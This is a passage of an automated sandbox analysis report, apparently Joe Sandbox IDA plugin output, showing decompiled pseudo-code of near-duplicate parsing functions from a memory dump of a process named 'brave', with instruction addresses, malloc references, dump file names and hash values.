				_t205 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t205 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t159 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t159 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t205 + 1;
				 *_t159 = 0x27;
				 *((long long*)(_t159 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t207 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t207 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t162 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t162 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t207 + 1;
				 *_t162 = 0x27;
				 *((long long*)(_t162 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t162;
				_t210 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t210 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t165 = (_t118 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t210 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t165, __rbx);
				_a40 = _t165;
				if (_t165 == 0) goto 0x7bee5c20;
				if ( *_t165 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t166 = _t165 + 1;
				 *(__rbx + 0x18) = _t166;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t166;
				_t233 = _t166;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t233[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t233;
				_t168 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t245 = _a40;
				if (_t245 == 0) goto 0x7bee5c20;
				_t214 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t214 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t118 * 8)) = _t245;
				 *((long long*)(__rbx + 0x38)) = _t214 + 1;
				 *((long long*)(_t168 - 0x77)) =  *((long long*)(_t168 - 0x77)) - 1;
				_t227 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t245 + 3;
				_t114 = E00007FF77FF77BEE7F20(_t168, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t227;
				_t234 = _t168;
				if (_t168 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t227);
				_push(_t234);
				_push(__rbx);
				_t169 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t169[1]);
				r10d =  *_t169 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t138 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t114 + _t114 * 2) * 8)))) - r10b;
				if (_t138 == 0) goto 0x7bee6680;
				if (_t138 <= 0) goto 0x7bee66c0;
				r8d = _t114;
				if (_t118 != r8d) goto 0x7bee6648;
				return _t114;
			}

0x7ff77bee6288
0x7ff77bee628e
0x7ff77bee62a5
0x7ff77bee62a9
0x7ff77bee62b1
0x7ff77bee62b4
0x7ff77bee62ba
0x7ff77bee62be
0x7ff77bee62c7
0x7ff77bee62cd
0x7ff77bee62e4
0x7ff77bee62e8
0x7ff77bee62f0
0x7ff77bee62f3
0x7ff77bee62f9
0x7ff77bee62fd
0x7ff77bee6306
0x7ff77bee630c
0x7ff77bee631c
0x7ff77bee6323
0x7ff77bee6327
0x7ff77bee632f
0x7ff77bee6332
0x7ff77bee6338
0x7ff77bee633c
0x7ff77bee6340
0x7ff77bee634e
0x7ff77bee6350
0x7ff77bee6356
0x7ff77bee635f
0x7ff77bee6369
0x7ff77bee636d
0x7ff77bee6375
0x7ff77bee6378
0x7ff77bee637e
0x7ff77bee6383
0x7ff77bee6386
0x7ff77bee638d
0x7ff77bee6393
0x7ff77bee639a
0x7ff77bee639e
0x7ff77bee63b1
0x7ff77bee63b6
0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4a586fe9f6b64563d0b732497717a3f58c20024f98ae7e172170f53db001dab5
Instruction ID: b587dc8e5940f56e8315fd965f2f13bd65cf7675dc2695aeba75b6f20ef51014
Opcode Fuzzy Hash: 4a586fe9f6b64563d0b732497717a3f58c20024f98ae7e172170f53db001dab5
Instruction Fuzzy Hash: 1E112973525B45C2E7209F08E8803A9B7A1FB98748F954575C28C073A8DF7DD184C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE643E Relevance: 1.3, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00007FF77FF77BEE643E(void* __rbx, signed char* _a40) {
				signed int _t58;
				signed int _t60;
				void* _t71;
				signed char* _t76;
				long long* _t79;
				signed char* _t80;
				signed char* _t82;
				signed char* _t83;
				intOrPtr _t105;
				intOrPtr _t108;
				intOrPtr _t112;
				long long _t120;
				signed char* _t123;
				signed char* _t124;
				long long _t133;

				_t105 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t105 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t76 = (_t60 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t76 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t105 + 1;
				 *_t76 = 0x27;
				 *((long long*)(_t76 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t76;
				_t108 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t108 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t79 = (_t60 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t79 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t108 + 1;
				 *_t79 = 0x27;
				 *((long long*)(_t79 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t79, __rbx);
				_a40 = _t79;
				if (_t79 == 0) goto 0x7bee5c20;
				if ( *_t79 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t80 = _t79 + 1;
				 *(__rbx + 0x18) = _t80;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t80;
				_t123 = _t80;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t123[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t123;
				_t82 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t133 = _a40;
				if (_t133 == 0) goto 0x7bee5c20;
				_t112 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t112 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t60 * 8)) = _t133;
				 *((long long*)(__rbx + 0x38)) = _t112 + 1;
				 *((long long*)(_t82 - 0x77)) =  *((long long*)(_t82 - 0x77)) - 1;
				_t120 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t133 + 3;
				_t58 = E00007FF77FF77BEE7F20(_t82, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t120;
				_t124 = _t82;
				if (_t82 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t120);
				_push(_t124);
				_push(__rbx);
				_t83 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t83[1]);
				r10d =  *_t83 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t71 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t58 + _t58 * 2) * 8)))) - r10b;
				if (_t71 == 0) goto 0x7bee6680;
				if (_t71 <= 0) goto 0x7bee66c0;
				r8d = _t58;
				if (_t60 != r8d) goto 0x7bee6648;
				return _t58;
			}

0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 97eddf928f2e38fbbb701ce9b99b95fc6c7318aa46dfaeeecf81e75b1b815b8d
Instruction ID: 088f18920145de18796cc92193117a69b3695b0fca5115ef3e30cf8a2208c267
Opcode Fuzzy Hash: 97eddf928f2e38fbbb701ce9b99b95fc6c7318aa46dfaeeecf81e75b1b815b8d
Instruction Fuzzy Hash: 84111973925B45C2E720AF18E8803A9B3E1FB88748F954575C28C063A8DF7CA584C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE6306 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF77BEE6306(signed int __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t98;
				signed int _t102;
				void* _t120;
				intOrPtr* _t125;
				intOrPtr _t126;
				long long _t127;
				char* _t128;
				signed char* _t129;
				long long* _t132;
				long long* _t135;
				signed char* _t138;
				long long* _t141;
				signed char* _t142;
				signed char* _t144;
				signed char* _t145;
				intOrPtr _t172;
				intOrPtr _t175;
				intOrPtr _t177;
				intOrPtr _t179;
				intOrPtr _t182;
				intOrPtr _t186;
				long long _t197;
				long long* _t201;
				signed char* _t203;
				signed char* _t204;
				long long _t215;
				void* _t220;

				_t172 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t172 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12702;
				_t173 = _t172 + 1;
				_t125 = (_t102 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t125 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t172 + 1;
				 *_t125 = 0x27;
				 *((long long*)(_t125 + 0x10)) = 0x7c195360;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0xa;
				goto 0x7bee5c22;
				 *_t125 =  *_t125 + __eax;
				_t126 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t126 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t127 = _t126 + 1;
				_t201 = (__eax << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t201 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t127;
				 *_t201 = 0x42;
				E00007FF77FF77BEE4E90(_t127, __rbx, _t173, __r8, _t220);
				 *((long long*)(_t201 + 0x10)) = _t127;
				_t128 =  *(__rbx + 0x18);
				if ( *_t128 != 0x5f) goto 0x7bee5c20;
				_t129 = _t128 + 1;
				 *(__rbx + 0x18) = _t129;
				E00007FF77FF77BEE5BC0();
				E00007FF77FF77BEE4DD0();
				_a40 = _t129;
				_t175 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t175 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t132 = (_t102 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t132 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t175 + 1;
				 *_t132 = 0x27;
				 *((long long*)(_t132 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t177 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t177 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t135 = (_t102 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t135 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t177 + 1;
				 *_t135 = 0x27;
				 *((long long*)(_t135 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t179 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t179 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t138 = (_t102 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t138 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t179 + 1;
				 *_t138 = 0x27;
				 *((long long*)(_t138 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t138;
				_t182 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t182 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t141 = (_t102 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t141 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t182 + 1;
				 *_t141 = 0x27;
				 *((long long*)(_t141 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t141, __rbx);
				_a40 = _t141;
				if (_t141 == 0) goto 0x7bee5c20;
				if ( *_t141 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t142 = _t141 + 1;
				 *(__rbx + 0x18) = _t142;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t142;
				_t203 = _t142;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t203[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t203;
				_t144 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t215 = _a40;
				if (_t215 == 0) goto 0x7bee5c20;
				_t186 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t186 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t102 * 8)) = _t215;
				 *((long long*)(__rbx + 0x38)) = _t186 + 1;
				 *((long long*)(_t144 - 0x77)) =  *((long long*)(_t144 - 0x77)) - 1;
				_t197 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t215 + 3;
				_t98 = E00007FF77FF77BEE7F20(_t144, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t197;
				_t204 = _t144;
				if (_t144 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t197);
				_push(_t204);
				_push(__rbx);
				_t145 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t145[1]);
				r10d =  *_t145 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t120 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t98 + _t98 * 2) * 8)))) - r10b;
				if (_t120 == 0) goto 0x7bee6680;
				if (_t120 <= 0) goto 0x7bee66c0;
				r8d = _t98;
				if (_t102 != r8d) goto 0x7bee6648;
				return _t98;
			}

0x7ff77bee6306
0x7ff77bee630c
0x7ff77bee631c
0x7ff77bee6323
0x7ff77bee6327
0x7ff77bee632f
0x7ff77bee6332
0x7ff77bee6338
0x7ff77bee633c
0x7ff77bee6340
0x7ff77bee634e
0x7ff77bee6350
0x7ff77bee6356
0x7ff77bee635f
0x7ff77bee6369
0x7ff77bee636d
0x7ff77bee6375
0x7ff77bee6378
0x7ff77bee637e
0x7ff77bee6383
0x7ff77bee6386
0x7ff77bee638d
0x7ff77bee6393
0x7ff77bee639a
0x7ff77bee639e
0x7ff77bee63b1
0x7ff77bee63b6
0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: a801795258d27839cdb2658080e84d2987801553b5e09e7391c8ea557c96a623
Instruction ID: 90cff688707c30ff015fb509354ac0f33f5936c38a307c704fa688377404de35
Opcode Fuzzy Hash: a801795258d27839cdb2658080e84d2987801553b5e09e7391c8ea557c96a623
Instruction Fuzzy Hash: 52111C73925B45C2E710AF18E8813A9B3F1FB88748F959575C28C063A8DF7CA585C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE63FF Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF77FF77BEE63FF(void* __rbx, signed char* _a40) {
				signed int _t66;
				signed int _t68;
				void* _t80;
				long long* _t85;
				signed char* _t88;
				long long* _t91;
				signed char* _t92;
				signed char* _t94;
				signed char* _t95;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t122;
				intOrPtr _t126;
				long long _t135;
				signed char* _t138;
				signed char* _t139;
				long long _t148;

				_t117 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t117 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t85 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t85 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t117 + 1;
				 *_t85 = 0x27;
				 *((long long*)(_t85 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t119 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t88 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t88 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t119 + 1;
				 *_t88 = 0x27;
				 *((long long*)(_t88 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t88;
